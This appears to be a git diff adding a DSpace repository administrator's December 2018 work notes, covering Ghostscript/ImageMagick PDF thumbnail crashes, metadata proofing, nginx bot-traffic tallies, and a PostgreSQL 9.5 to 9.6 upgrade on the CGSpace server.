org.im4java.core.InfoException: org.im4java.core.CommandException: org.im4java.core.CommandException: identify: FailedToExecuteCommand `"gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pngalpha" -dTextAlphaBits=4 -dGraphicsAlphaBits=4 "-r72x72" -dFirstPage=1 -dLastPage=1 "-sOutputFile=/tmp/magick-12989PcFN0DnJOej7%d" "-f/tmp/magick-129895Bmp44lvUfxo" "-f/tmp/magick-12989C0QFG51fktLF"' (-1) @ error/delegate.c/ExternalDelegateCommand/461.
+org.im4java.core.InfoException: org.im4java.core.CommandException: org.im4java.core.CommandException: identify: FailedToExecuteCommand `"gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pngalpha" -dTextAlphaBits=4 -dGraphicsAlphaBits=4 "-r72x72" -dFirstPage=1 -dLastPage=1 "-sOutputFile=/tmp/magick-12989PcFN0DnJOej7%d" "-f/tmp/magick-129895Bmp44lvUfxo" "-f/tmp/magick-12989C0QFG51fktLF"' (-1) @ error/delegate.c/ExternalDelegateCommand/461.
+        at org.im4java.core.Info.getBaseInfo(Info.java:360)
+        at org.im4java.core.Info.<init>(Info.java:151)
+        at org.dspace.app.mediafilter.ImageMagickThumbnailFilter.getImageFile(ImageMagickThumbnailFilter.java:142)
+        at org.dspace.app.mediafilter.ImageMagickPdfThumbnailFilter.getDestinationStream(ImageMagickPdfThumbnailFilter.java:24)
+        at org.dspace.app.mediafilter.FormatFilter.processBitstream(FormatFilter.java:170)
+        at org.dspace.app.mediafilter.MediaFilterManager.filterBitstream(MediaFilterManager.java:475)
+        at org.dspace.app.mediafilter.MediaFilterManager.filterItem(MediaFilterManager.java:429)
+        at org.dspace.app.mediafilter.MediaFilterManager.applyFiltersItem(MediaFilterManager.java:401)
+        at org.dspace.app.mediafilter.MediaFilterManager.main(MediaFilterManager.java:237)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:226)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:78)
+
    +
  • A comment on StackOverflow question from yesterday suggests it might be a bug with the pngalpha device in Ghostscript and links to an upstream bug
    • +
  • I think we need to wait for a fix from Ubuntu
    • +
  • For what it’s worth, I get the same error on my local Arch Linux environment with Ghostscript 9.26:
    • +
+
$ gs -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 -sDEVICE=pngalpha -dTextAlphaBits=4 -dGraphicsAlphaBits=4 -r72x72 -dFirstPage=1 -dLastPage=1 -sOutputFile=/tmp/out%d -f/home/aorth/Desktop/Food\ safety\ Kenya\ fruits.pdf
+DEBUG: FC_WEIGHT didn't match
+zsh: segmentation fault (core dumped)  gs -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000
+
    +
  • When I replace the pngalpha device with png16m as suggested in the StackOverflow comments it works:
    • +
+
$ gs -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 -sDEVICE=png16m -dTextAlphaBits=4 -dGraphicsAlphaBits=4 -r72x72 -dFirstPage=1 -dLastPage=1 -sOutputFile=/tmp/out%d -f/home/aorth/Desktop/Food\ safety\ Kenya\ fruits.pdf
+DEBUG: FC_WEIGHT didn't match
+
    +
  • Start proofing the latest round of 226 IITA archive records that Bosede sent last week and Sisay uploaded to DSpace Test this weekend (IITA_Dec_1_1997 aka Daniel1807) +
      +
    • One item missing the authorship type
      • +
    • Some invalid countries (smart quotes, mispellings)
      • +
    • Added countries to some items that mentioned research in particular countries in their abstracts
      • +
    • One item had “MADAGASCAR” for ISI Journal
      • +
    • Minor corrections in IITA subject (LIVELIHOOD→LIVELIHOODS)
      • +
    • Trim whitespace in abstract field
      • +
    • Fix some sponsors (though some with “Governments of Canada” etc I’m not sure why those are plural)
      • +
    • Eighteen items had en||fr for the language, but the content was only in French so changed them to just fr
      • +
    • Six items had encoding errors in French text so I will ask Bosede to re-do them carefully
      • +
    • Correct and normalize a few AGROVOC subjects
      • +
    +
    • +
  • Expand my “encoding error” detection GREL to include ~ as I saw a lot of that in some copy pasted French text recently:
    • +
+
or(
+  isNotNull(value.match(/.*\uFFFD.*/)),
+  isNotNull(value.match(/.*\u00A0.*/)),
+  isNotNull(value.match(/.*\u200A.*/)),
+  isNotNull(value.match(/.*\u2019.*/)),
+  isNotNull(value.match(/.*\u00b4.*/)),
+  isNotNull(value.match(/.*\u007e.*/))
+)
+

2018-12-03

+
    +
  • I looked at the DSpace Ghostscript issue more and it seems to only affect certain PDFs…
    • +
  • I can successfully generate a thumbnail for another recent item (10568/98394), but not for 10568/98930
    • +
  • Even manually on my Arch Linux desktop with ghostscript 9.26-1 and the pngalpha device, I can generate a thumbnail for the first one (10568/98394):
    • +
+
$ gs -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 -sDEVICE=pngalpha -dTextAlphaBits=4 -dGraphicsAlphaBits=4 -r72x72 -dFirstPage=1 -dLastPage=1 -sOutputFile=/tmp/out%d -f/home/aorth/Desktop/Info\ Note\ Mainstreaming\ gender\ and\ social\ differentiation\ into\ CCAFS\ research\ activities\ in\ West\ Africa-converted.pdf
+
    +
  • So it seems to be something about the PDFs themselves, perhaps related to alpha support?
    • +
  • The first item (10568/98394) has the following information:
    • +
+
$ identify Info\ Note\ Mainstreaming\ gender\ and\ social\ differentiation\ into\ CCAFS\ research\ activities\ in\ West\ Africa-converted.pdf\[0\]
+Info Note Mainstreaming gender and social differentiation into CCAFS research activities in West Africa-converted.pdf[0]=>Info Note Mainstreaming gender and social differentiation into CCAFS research activities in West Africa-converted.pdf PDF 595x841 595x841+0+0 16-bit sRGB 107443B 0.000u 0:00.000
+identify: CorruptImageProfile `xmp' @ warning/profile.c/SetImageProfileInternal/1746.
+
    +
  • And wow, I can’t even run ImageMagick’s identify on the first page of the second item (10568/98930):
    • +
+
$ identify Food\ safety\ Kenya\ fruits.pdf\[0\]
+zsh: abort (core dumped)  identify Food\ safety\ Kenya\ fruits.pdf\[0\]
+
    +
  • But with GraphicsMagick’s identify it works:
    • +
+
$ gm identify Food\ safety\ Kenya\ fruits.pdf\[0\]
+DEBUG: FC_WEIGHT didn't match
+Food safety Kenya fruits.pdf PDF 612x792+0+0 DirectClass 8-bit 1.4Mi 0.000u 0m:0.000002s
+
+
$ identify Food\ safety\ Kenya\ fruits.pdf
+Food safety Kenya fruits.pdf[0] PDF 612x792 612x792+0+0 16-bit sRGB 64626B 0.010u 0:00.009
+Food safety Kenya fruits.pdf[1] PDF 612x792 612x792+0+0 16-bit sRGB 64626B 0.010u 0:00.009
+Food safety Kenya fruits.pdf[2] PDF 612x792 612x792+0+0 16-bit sRGB 64626B 0.010u 0:00.009
+Food safety Kenya fruits.pdf[3] PDF 612x792 612x792+0+0 16-bit sRGB 64626B 0.010u 0:00.009
+Food safety Kenya fruits.pdf[4] PDF 612x792 612x792+0+0 16-bit sRGB 64626B 0.010u 0:00.009
+identify: CorruptImageProfile `xmp' @ warning/profile.c/SetImageProfileInternal/1746.
+
    +
  • As I expected, ImageMagick cannot generate a thumbnail, but GraphicsMagick can (though it looks like crap):
    • +
+
$ convert Food\ safety\ Kenya\ fruits.pdf\[0\] -thumbnail 600x600 -flatten Food\ safety\ Kenya\ fruits.pdf.jpg
+zsh: abort (core dumped)  convert Food\ safety\ Kenya\ fruits.pdf\[0\] -thumbnail 600x600 -flatten
+$ gm convert Food\ safety\ Kenya\ fruits.pdf\[0\] -thumbnail 600x600 -flatten Food\ safety\ Kenya\ fruits.pdf.jpg
+DEBUG: FC_WEIGHT didn't match
+
    +
  • I inspected the troublesome PDF using jhove and noticed that it is using ISO PDF/A-1, Level B and the other one doesn’t list a profile, though I don’t think this is relevant
    • +
  • I found another item that fails when generating a thumbnail (10568/98391, DSpace complains:
    • +
+
org.im4java.core.InfoException: org.im4java.core.CommandException: org.im4java.core.CommandException: identify: FailedToExecuteCommand `"gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pngalpha" -dTextAlphaBits=4 -dGraphicsAlphaBits=4 "-r72x72" -dFirstPage=1 -dLastPage=1 "-sOutputFile=/tmp/magick-142966vQs5Di64ntH%d" "-f/tmp/magick-14296Q0rJjfCeIj3w" "-f/tmp/magick-14296k_K6MWqwvpDm"' (-1) @ error/delegate.c/ExternalDelegateCommand/461.
+org.im4java.core.InfoException: org.im4java.core.CommandException: org.im4java.core.CommandException: identify: FailedToExecuteCommand `"gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pngalpha" -dTextAlphaBits=4 -dGraphicsAlphaBits=4 "-r72x72" -dFirstPage=1 -dLastPage=1 "-sOutputFile=/tmp/magick-142966vQs5Di64ntH%d" "-f/tmp/magick-14296Q0rJjfCeIj3w" "-f/tmp/magick-14296k_K6MWqwvpDm"' (-1) @ error/delegate.c/ExternalDelegateCommand/461.
+        at org.im4java.core.Info.getBaseInfo(Info.java:360)
+        at org.im4java.core.Info.<init>(Info.java:151)
+        at org.dspace.app.mediafilter.ImageMagickThumbnailFilter.getImageFile(ImageMagickThumbnailFilter.java:142)
+        at org.dspace.app.mediafilter.ImageMagickPdfThumbnailFilter.getDestinationStream(ImageMagickPdfThumbnailFilter.java:24)
+        at org.dspace.app.mediafilter.FormatFilter.processBitstream(FormatFilter.java:170)
+        at org.dspace.app.mediafilter.MediaFilterManager.filterBitstream(MediaFilterManager.java:475)
+        at org.dspace.app.mediafilter.MediaFilterManager.filterItem(MediaFilterManager.java:429)
+        at org.dspace.app.mediafilter.MediaFilterManager.applyFiltersItem(MediaFilterManager.java:401)
+        at org.dspace.app.mediafilter.MediaFilterManager.main(MediaFilterManager.java:237)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:226)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:78)
+Caused by: org.im4java.core.CommandException: org.im4java.core.CommandException: identify: FailedToExecuteCommand `"gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pngalpha" -dTextAlphaBits=4 -dGraphicsAlphaBits=4 "-r72x72" -dFirstPage=1 -dLastPage=1 "-sOutputFile=/tmp/magick-142966vQs5Di64ntH%d" "-f/tmp/magick-14296Q0rJjfCeIj3w" "-f/tmp/magick-14296k_K6MWqwvpDm"' (-1) @ error/delegate.c/ExternalDelegateCommand/461.
+        at org.im4java.core.ImageCommand.run(ImageCommand.java:219)
+        at org.im4java.core.Info.getBaseInfo(Info.java:342)
+        ... 14 more
+Caused by: org.im4java.core.CommandException: identify: FailedToExecuteCommand `"gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pngalpha" -dTextAlphaBits=4 -dGraphicsAlphaBits=4 "-r72x72" -dFirstPage=1 -dLastPage=1 "-sOutputFile=/tmp/magick-142966vQs5Di64ntH%d" "-f/tmp/magick-14296Q0rJjfCeIj3w" "-f/tmp/magick-14296k_K6MWqwvpDm"' (-1) @ error/delegate.c/ExternalDelegateCommand/461.
+        at org.im4java.core.ImageCommand.finished(ImageCommand.java:253)
+        at org.im4java.process.ProcessStarter.run(ProcessStarter.java:314)
+        at org.im4java.core.ImageCommand.run(ImageCommand.java:215)
+        ... 15 more
+
    +
  • And on my Arch Linux environment ImageMagick’s convert also segfaults:
    • +
+
$ convert bnfb_biofortification\ Module_Participants\ Guide\ 2018.pdf\[0\] -thumbnail x600 -flatten bnfb_biofortification\ Module_Participants\ Guide\ 2018.pdf.jpg
+zsh: abort (core dumped)  convert bnfb_biofortification\ Module_Participants\ Guide\ 2018.pdf\[0\]  x60
+
    +
  • But GraphicsMagick’s convert works:
    • +
+
$ gm convert bnfb_biofortification\ Module_Participants\ Guide\ 2018.pdf\[0\] -thumbnail x600 -flatten bnfb_biofortification\ Module_Participants\ Guide\ 2018.pdf.jpg
+
    +
  • So far the only thing that stands out is that the two files that don’t work were created with Microsoft Office 2016:
    • +
+
$ pdfinfo bnfb_biofortification\ Module_Participants\ Guide\ 2018.pdf | grep -E '^(Creator|Producer)'
+Creator:        Microsoft® Word 2016
+Producer:       Microsoft® Word 2016
+$ pdfinfo Food\ safety\ Kenya\ fruits.pdf | grep -E '^(Creator|Producer)'
+Creator:        Microsoft® Word 2016
+Producer:       Microsoft® Word 2016
+
    +
  • And the one that works was created with Office 365:
    • +
+
$ pdfinfo Info\ Note\ Mainstreaming\ gender\ and\ social\ differentiation\ into\ CCAFS\ research\ activities\ in\ West\ Africa-converted.pdf | grep -E '^(Creator|Producer)'
+Creator:        Microsoft® Word for Office 365
+Producer:       Microsoft® Word for Office 365
+
    +
  • I remembered an old technique I was using to generate thumbnails in 2015 using Inkscape followed by ImageMagick or GraphicsMagick:
    • +
+
$ inkscape Food\ safety\ Kenya\ fruits.pdf -z --export-dpi=72 --export-area-drawing --export-png='cover.png'
+$ gm convert -resize x600 -flatten -quality 85 cover.png cover.jpg
+
    +
  • I’ve tried a few times this week to register for the Ethiopian eVisa website, but it is never successful
    • +
  • In the end I tried one last time to just apply without registering and it was apparently successful
    • +
  • Testing DSpace 5.8 (5_x-prod branch) in an Ubuntu 18.04 VM with Tomcat 8.5 and had some issues: +
      +
    • JSPUI shows an internal error (log shows something about tag cloud, though, so might be unrelated)
      • +
    • Atmire Listings and Reports, which use JSPUI, asks you to log in again and then doesn’t work
      • +
    • Content and Usage Analysis doesn’t show up in the sidebar after logging in
      • +
    • I can navigate to /atmire/reporting-suite/usage-graph-editor, but it’s only the Atmire theme and a “page not found” message
      • +
    • Related messages from dspace.log:
      • +
    +
    • +
+
2018-12-03 15:44:00,030 WARN  org.dspace.core.ConfigurationManager @ Requested configuration module: atmire-datatables not found
+2018-12-03 15:44:03,390 ERROR com.atmire.app.webui.servlet.ExportServlet @ Error converter plugin not found: interface org.infoCon.ConverterPlugin
+...
+2018-12-03 15:45:01,667 WARN  org.dspace.core.ConfigurationManager @ Requested configuration module: atmire-listing-and-reports not found
+
    +
  • I tested it on my local environment with Tomcat 8.5.34 and the JSPUI application still has an error (again, the logs show something about tag cloud, so be unrelated), and the Listings and Reports still asks you to log in again, despite already being logged in in XMLUI, but does appear to work (I generated a report and exported a PDF)
    • +
  • I think the errors about missing Atmire components must be important, here on my local machine as well (though not the one about atmire-listings-and-reports):
    • +
+
2018-12-03 16:44:00,009 WARN  org.dspace.core.ConfigurationManager @ Requested configuration module: atmire-datatables not found
+
    +
  • This has got to be part Ubuntu Tomcat packaging, and part DSpace 5.x Tomcat 8.5 readiness…?
    • +
+

2018-12-04

+
    +
  • Last night Linode sent a message that the load on CGSpace (linode18) was too high, here’s a list of the top users at the time and throughout the day:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "03/Dec/2018:1(5|6|7|8)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    225 40.77.167.142
+    226 66.249.64.63
+    232 46.101.86.248
+    285 45.5.186.2
+    333 54.70.40.11
+    411 193.29.13.85
+    476 34.218.226.147
+    962 66.249.70.27
+   1193 35.237.175.180
+   1450 2a01:4f8:140:3192::2
+# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "03/Dec/2018" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+   1141 207.46.13.57
+   1299 197.210.168.174
+   1341 54.70.40.11
+   1429 40.77.167.142
+   1528 34.218.226.147
+   1973 66.249.70.27
+   2079 50.116.102.77
+   2494 78.46.79.71
+   3210 2a01:4f8:140:3192::2
+   4190 35.237.175.180
+
    +
  • 35.237.175.180 is known to us (CCAFS?), and I’ve already added it to the list of bot IPs in nginx, which appears to be working:
    • +
+
$ grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=35.237.175.180' dspace.log.2018-12-03
+4772
+$ grep -o -E 'session_id=[A-Z0-9]{32}:ip_addr=35.237.175.180' dspace.log.2018-12-03 | sort | uniq | wc -l
+630
+
    +
  • I haven’t seen 2a01:4f8:140:3192::2 before. Its user agent is some new bot:
    • +
+
Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)
+
    +
  • At least it seems the Tomcat Crawler Session Manager Valve is working to re-use the common bot XMLUI sessions:
    • +
+
$ grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=2a01:4f8:140:3192::2' dspace.log.2018-12-03
+5111
+$ grep -o -E 'session_id=[A-Z0-9]{32}:ip_addr=2a01:4f8:140:3192::2' dspace.log.2018-12-03 | sort | uniq | wc -l
+419
+
    +
  • 78.46.79.71 is another host on Hetzner with the following user agent:
    • +
+
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:62.0) Gecko/20100101 Firefox/62.0
+
    +
  • This is not the first time a host on Hetzner has used a “normal” user agent to make thousands of requests
    • +
  • At least it is re-using its Tomcat sessions somehow:
    • +
+
$ grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=78.46.79.71' dspace.log.2018-12-03
+2044
+$ grep -o -E 'session_id=[A-Z0-9]{32}:ip_addr=78.46.79.71' dspace.log.2018-12-03 | sort | uniq | wc -l
+1
+
    +
  • In other news, it’s good to see my re-work of the database connectivity in the dspace-statistics-api actually caused a reduction of persistent database connections (from 1 to 0, but still!):
    • +
+

PostgreSQL connections day

+

2018-12-05

+
    +
  • Discuss RSS issues with IWMI and WLE people
    • +
+

2018-12-06

+
    +
  • Linode sent a message that the CPU usage of CGSpace (linode18) is too high last night
    • +
  • I looked in the logs and there’s nothing particular going on:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "05/Dec/2018" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+   1225 157.55.39.177
+   1240 207.46.13.12
+   1261 207.46.13.101
+   1411 207.46.13.157
+   1529 34.218.226.147
+   2085 50.116.102.77
+   3334 2a01:7e00::f03c:91ff:fe0a:d645
+   3733 66.249.70.27
+   3815 35.237.175.180
+   7669 54.70.40.11
+
    +
  • 54.70.40.11 is some new bot with the following user agent:
    • +
+
Mozilla/5.0 (compatible) SemanticScholarBot (+https://www.semanticscholar.org/crawler)
+
    +
  • But Tomcat is forcing them to re-use their Tomcat sessions with the Crawler Session Manager valve:
    • +
+
$ grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=54.70.40.11' dspace.log.2018-12-05
+6980
+$ grep -o -E 'session_id=[A-Z0-9]{32}:ip_addr=54.70.40.11' dspace.log.2018-12-05 | sort | uniq | wc -l
+1156
+
    +
  • 2a01:7e00::f03c:91ff:fe0a:d645 appears to be the CKM dev server where Danny is testing harvesting via Drupal
    • +
  • It seems they are hitting the XMLUI’s OpenSearch a bit, but mostly on the REST API so no issues here yet
    • +
  • Drupal is already in the Tomcat Crawler Session Manager Valve’s regex so that’s good!
    • +
+

2018-12-10

+
    +
  • I ran into Mia Signs in Addis and we discussed Altmetric as well as RSS feeds again +
      +
    • We came up with an OpenSearch query for all items tagged with the WLE CRP subject (where the sort_by=3 parameter is the accession date, as configured in dspace.cfg)
      • +
    • About Altmetric she was wondering why some low-ranking items of theirs do not have the Handle/DOI relationship, but high-ranking ones do
      • +
    • It sounds kinda crazy, but she said when she talked to Altmetric about their Twitter harvesting they said their coverage is not perfect, so it might be some kinda prioritization thing where they only do it for popular items?
      • +
    • I am testing this by tweeting one WLE item from CGSpace that currently has no Altmetric score
      • +
    • Interestingly, after about an hour I see it has already been picked up by Altmetric and has my tweet as well as some other tweet from over a month ago…
      • +
    • I tweeted a link to the item’s DOI to see if Altmetric will notice it, hopefully associated with the Handle I tweeted earlier
      • +
    +
    • +
+

2018-12-11

+ +

2018-12-13

+
    +
  • Oh this is very interesting: WorldFish’s repository is live now
    • +
  • It’s running DSpace 5.9-SNAPSHOT running on KnowledgeArc and the OAI and REST interfaces are active at least
    • +
  • Also, I notice they ended up registering a Handle (they had been considering taking KnowledgeArc’s advice to not use Handles!)
    • +
  • Did some coordination work on the hotel bookings for the January AReS workshop in Amman
    • +
+

2018-12-17

+
    +
  • Linode alerted me twice today that the load on CGSpace (linode18) was very high
    • +
  • Looking at the nginx logs I see a few new IPs in the top 10:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "17/Dec/2018" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    927 157.55.39.81
+    975 54.70.40.11
+   2090 50.116.102.77
+   2121 66.249.66.219
+   3811 35.237.175.180
+   4590 205.186.128.185
+   4590 70.32.83.92
+   5436 2a01:4f8:173:1e85::2
+   5438 143.233.227.216
+   6706 94.71.244.172
+
    +
  • 94.71.244.172 and 143.233.227.216 are both in Greece and use the following user agent:
    • +
+
Mozilla/3.0 (compatible; Indy Library)
+
    +
  • I see that I added this bot to the Tomcat Crawler Session Manager valve in 2017-12 so its XMLUI sessions are getting re-used
    • +
  • 2a01:4f8:173:1e85::2 is some new bot called BLEXBot/1.0 which should be matching the existing “bot” pattern in the Tomcat Crawler Session Manager regex
    • +
+

2018-12-18

+
    +
  • Open a ticket with Atmire to ask them to prepare the Metadata Quality Module for our DSpace 5.8 code
    • +
+

2018-12-19

+
    +
  • Update Atmire Listings and Reports to add the journal title (dc.source) to bibliography and update example bibliography values (#405)
    • +
+

2018-12-20

+
    +
  • Testing compression of PostgreSQL backups with xz and gzip:
    • +
+
$ time xz -c cgspace_2018-12-19.backup > cgspace_2018-12-19.backup.xz
+xz -c cgspace_2018-12-19.backup > cgspace_2018-12-19.backup.xz  48.29s user 0.19s system 99% cpu 48.579 total
+$ time gzip -c cgspace_2018-12-19.backup > cgspace_2018-12-19.backup.gz
+gzip -c cgspace_2018-12-19.backup > cgspace_2018-12-19.backup.gz  2.78s user 0.09s system 99% cpu 2.899 total
+$ ls -lh cgspace_2018-12-19.backup*
+-rw-r--r-- 1 aorth aorth 96M Dec 19 02:15 cgspace_2018-12-19.backup
+-rw-r--r-- 1 aorth aorth 94M Dec 20 11:36 cgspace_2018-12-19.backup.gz
+-rw-r--r-- 1 aorth aorth 93M Dec 20 11:35 cgspace_2018-12-19.backup.xz
+
    +
  • Looks like it’s really not worth it…
    • +
  • Peter pointed out that Discovery filters for CTA subjects on item pages were not working
    • +
  • It looks like there were some mismatches in the Discovery index names and the XMLUI configuration, so I fixed them (#406)
    • +
  • Peter asked if we could create a controlled vocabulary for publishers (dc.publisher)
    • +
  • I see we have about 3500 distinct publishers:
    • +
+
# SELECT COUNT(DISTINCT(text_value)) FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=39;
+ count
+-------
+  3522
+(1 row)
+
    +
  • I reverted the metadata changes related to “Unrestricted Access” and “Restricted Access” on DSpace Test because we’re not pushing forward with the new status terms for now
    • +
  • Purge remaining Oracle Java 8 stuff from CGSpace (linode18) since we migrated to OpenJDK a few months ago:
    • +
+
# dpkg -P oracle-java8-installer oracle-java8-set-default
+
    +
  • Update usage rights on CGSpace as we agreed with Maria Garruccio and Peter last month:
    • +
+
$ ./fix-metadata-values.py -i /tmp/2018-11-27-update-rights.csv -f dc.rights -t correct -m 53 -db dspace -u dspace -p 'fuu' -d
+Connected to database.
+Fixed 466 occurences of: Copyrighted; Any re-use allowed
+
    +
  • Upgrade PostgreSQL on CGSpace (linode18) from 9.5 to 9.6:
    • +
+
# apt install postgresql-9.6 postgresql-client-9.6 postgresql-contrib-9.6 postgresql-server-dev-9.6
+# pg_ctlcluster 9.5 main stop
+# tar -cvzpf var-lib-postgresql-9.5.tar.gz /var/lib/postgresql/9.5
+# tar -cvzpf etc-postgresql-9.5.tar.gz /etc/postgresql/9.5
+# pg_ctlcluster 9.6 main stop
+# pg_dropcluster 9.6 main
+# pg_upgradecluster 9.5 main
+# pg_dropcluster 9.5 main
+# dpkg -l | grep postgresql | grep 9.5 | awk '{print $2}' | xargs dpkg -r
+
    +
  • I’ve been running PostgreSQL 9.6 for months on my local development and public DSpace Test (linode19) environments
    • +
  • Run all system updates on CGSpace (linode18) and restart the server
    • +
  • Try to run the DSpace cleanup script on CGSpace (linode18), but I get some errors about foreign key constraints:
    • +
+
$ dspace cleanup -v
+ - Deleting bitstream information (ID: 158227)
+ - Deleting bitstream record from database (ID: 158227)
+Error: ERROR: update or delete on table "bitstream" violates foreign key constraint "bundle_primary_bitstream_id_fkey" on table "bundle"
+  Detail: Key (bitstream_id)=(158227) is still referenced from table "bundle".
+...
+
    +
  • As always, the solution is to delete those IDs manually in PostgreSQL:
    • +
+
$ psql dspace -c 'update bundle set primary_bitstream_id=NULL where primary_bitstream_id in (158227, 158251);'
+UPDATE 1
+
    +
  • After all that I started a full Discovery reindex to get the index name changes and rights updates
    • +
+

2018-12-29

+
    +
  • CGSpace went down today for a few minutes while I was at dinner and I quickly restarted Tomcat
    • +
  • The top IP addresses as of this evening are:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "29/Dec/2018" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    963 40.77.167.152
+    987 35.237.175.180
+   1062 40.77.167.55
+   1464 66.249.66.223
+   1660 34.218.226.147
+   1801 70.32.83.92
+   2005 50.116.102.77
+   3218 66.249.66.219
+   4608 205.186.128.185
+   5585 54.70.40.11
+
    +
  • And just around the time of the alert:
    • +
+
# zcat --force /var/log/nginx/*.log.1 /var/log/nginx/*.log.2.gz | grep -E "29/Dec/2018:1(6|7|8)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    115 66.249.66.223
+    118 207.46.13.14
+    123 34.218.226.147
+    133 95.108.181.88
+    137 35.237.175.180
+    164 66.249.66.219
+    260 157.55.39.59
+    291 40.77.167.55
+    312 207.46.13.129
+   1253 54.70.40.11
+
    +
  • All these look ok (54.70.40.11 is known to us from earlier this month and should be reusing its Tomcat sessions)
    • +
  • So I’m not sure what was going on last night…
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2018/01/cpu-week.png b/docs/2018/01/cpu-week.png new file mode 100644 index 000000000..2f5870268 Binary files /dev/null and b/docs/2018/01/cpu-week.png differ diff --git a/docs/2018/01/dc-rights-submission.png b/docs/2018/01/dc-rights-submission.png new file mode 100644 index 000000000..f811addd1 Binary files /dev/null and b/docs/2018/01/dc-rights-submission.png differ diff --git a/docs/2018/01/firewall-perfectip.png b/docs/2018/01/firewall-perfectip.png new file mode 100644 index 000000000..876d8612b Binary files /dev/null and b/docs/2018/01/firewall-perfectip.png differ diff --git a/docs/2018/01/jvisualvm-mbeans-path.png b/docs/2018/01/jvisualvm-mbeans-path.png new file mode 100644 index 000000000..9159b34b5 Binary files /dev/null and b/docs/2018/01/jvisualvm-mbeans-path.png differ diff --git a/docs/2018/01/openrefine-authors.png b/docs/2018/01/openrefine-authors.png new file mode 100644 index 000000000..bc94a8487 Binary files /dev/null and b/docs/2018/01/openrefine-authors.png differ diff --git a/docs/2018/01/postgres_connections-day-perfectip.png b/docs/2018/01/postgres_connections-day-perfectip.png new file mode 100644 index 000000000..95e35e298 Binary files /dev/null and b/docs/2018/01/postgres_connections-day-perfectip.png differ diff --git a/docs/2018/01/postgres_connections-day.png b/docs/2018/01/postgres_connections-day.png new file mode 100644 index 000000000..da27ce7af Binary files /dev/null and b/docs/2018/01/postgres_connections-day.png differ diff --git a/docs/2018/01/tomcat-jvm-day.png b/docs/2018/01/tomcat-jvm-day.png new file mode 100644 index 000000000..17f956fd5 Binary files /dev/null and b/docs/2018/01/tomcat-jvm-day.png differ diff --git a/docs/2018/01/tomcat-threads-day.png b/docs/2018/01/tomcat-threads-day.png new file mode 100644 index 000000000..c22fa890f Binary files /dev/null and b/docs/2018/01/tomcat-threads-day.png differ diff --git a/docs/2018/02/CCAFS_WP_223.jpg b/docs/2018/02/CCAFS_WP_223.jpg new file mode 100644 index 000000000..ed48758f8 Binary files /dev/null and b/docs/2018/02/CCAFS_WP_223.jpg differ diff --git a/docs/2018/02/CCAFS_WP_223.pdf.jpg b/docs/2018/02/CCAFS_WP_223.pdf.jpg new file mode 100644 index 000000000..f49be90aa Binary files /dev/null and b/docs/2018/02/CCAFS_WP_223.pdf.jpg differ diff --git a/docs/2018/02/atmire-workflow-statistics.png b/docs/2018/02/atmire-workflow-statistics.png new file mode 100644 index 000000000..d593de879 Binary files /dev/null and b/docs/2018/02/atmire-workflow-statistics.png differ diff --git a/docs/2018/02/jmx_dspace-sessions-day.png 